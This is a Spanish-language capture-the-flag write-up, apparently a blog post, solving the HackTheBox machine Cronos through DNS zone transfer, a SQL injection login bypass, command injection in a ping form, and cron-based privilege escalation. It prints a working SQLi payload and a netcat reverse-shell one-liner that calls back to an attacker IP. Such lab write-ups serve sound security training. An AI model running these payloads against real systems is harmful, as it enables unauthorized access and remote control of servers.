Hackthebox — Writeup Cronos No/MSF

Israel Aráoz Severiche
4 min readOct 17, 2020

--

Equipo considerado dificultad media, ya es el segundo equipo que presenta una característica en particular, esta maquina contaba con el servicio DNS habilitado, se realizo una transferencia de zona, en el proceso de enumeración para identificar un formulario de inicio de sesión, luego se obtuvo acceso inicial explotando una mala o nula validación de inyección de comandos, para la escalada de privilegio se identifico una tarea programa que ejecutaba un archivo en particular, se logró modificar el archivo y boom!

Identificación de puertos y servicios

Es necesario la identificación de puertos y lo servicios por cada puerto abierto.

nmap -v -n -p- --min-rate=4500 -oA cronos.ports 10.10.10.13

PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http

Ahora que ya sabemos los puertos, la versión de los servicios.

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

Enumeración

el protocolo ssh, será descartado, solo es utilizado cuando se identifica una credencial y un usuario, por lo general no es factible ataque de fuerza bruta.

Comenzamos por HTTP, enumerando directorios “ocultos” que posiblemente permita el acceso inicial

gobuster dir --url http://10.10.10.13 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 100 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.13
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/10/17 15:38:24 Starting gobuster
===============================================================
/css (Status: 301)
/js (Status: 301)
===============================================================
2020/10/17 15:44:32 Finished
===============================================================

No es el camino http, es importante comentar, que cuando se encuentra DNS, posiblemente estemos frente un servidor de DNS, como siempre lo primero que podemos hacer una transferencia de zona DNS, para identificar subdominios.

Ahora si, el camino vuelve a saltar a HTTP, para acceder al subdomino, debemos agregar las entradas en el archivo /etc/hosts

Ahora si, apareció un formulario de inicio de sesión ;)

Despues del clasico intento de inicio de sesion

  • admin:admin
  • admin:cronos
  • admin:password

Se identificó que el parámetro username es vulnerable a Sqlinjection

admin' or '1'='1--

Acceso Inicial

El formulario que permitía hacer ping, permitió inyectar código que es interpretado a nivel del sistema operativo.

Ahora que permite ejecutar comandos del sistema operativo, ejecutamos para obtener una shell reversa

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.33 4444 >/tmp/f

Se identificó el user.txt

Escalada de privilegio

Como siempre, para la escalada de privilegio, siempre ejecuto sudo -l

no tenemos password para confirmar

Luego Suid, tampoco, se encontró algo interesante, ahora vamos por crontab

Bueno ya tenemos un vector, es necesario confirmar si podemos escribir sobre el archivo en el contexto del usuario con el cual tenemos la sesión.

Se puede confirmar, que el archivo que es ejecutado por la tarea programada, tiene permiso de escritura para el usuario www-data, y con eso ya podemos modificar a nuestro antojo, ojo que si bien tiene permiso de escritura para el www-data, la tarea es ejecutada por el user root ;)

en otra consola abrimos un nc y listo!

Conclusión

Respecto al acceso inicial, la vulnerabilidad se presenta en la ejecución de comandos a nivel de OS, desde la aplicación web, la aplicación solo debería permitir ejecutar las actividades que esta listando y sanitizar las variables para evitar inyección, en el caso de la escalada de privilegio, la vulnerabilidad se encuentra en la gestión de los permisos de usuario sobre los archivos, tomando en cuenta que el archivo será ejecutado como “root”, no debería permitir modificación a un usuario de menor privilegio.

--

--

Israel Aráoz Severiche
Israel Aráoz Severiche

Written by Israel Aráoz Severiche

{💀Cybersecurity Engineer​​🐞 } / { 🥋​ Purple Belt Brazilian Jiu Jitsu } / {🌐​https://twitter.com/iara0z}

No responses yet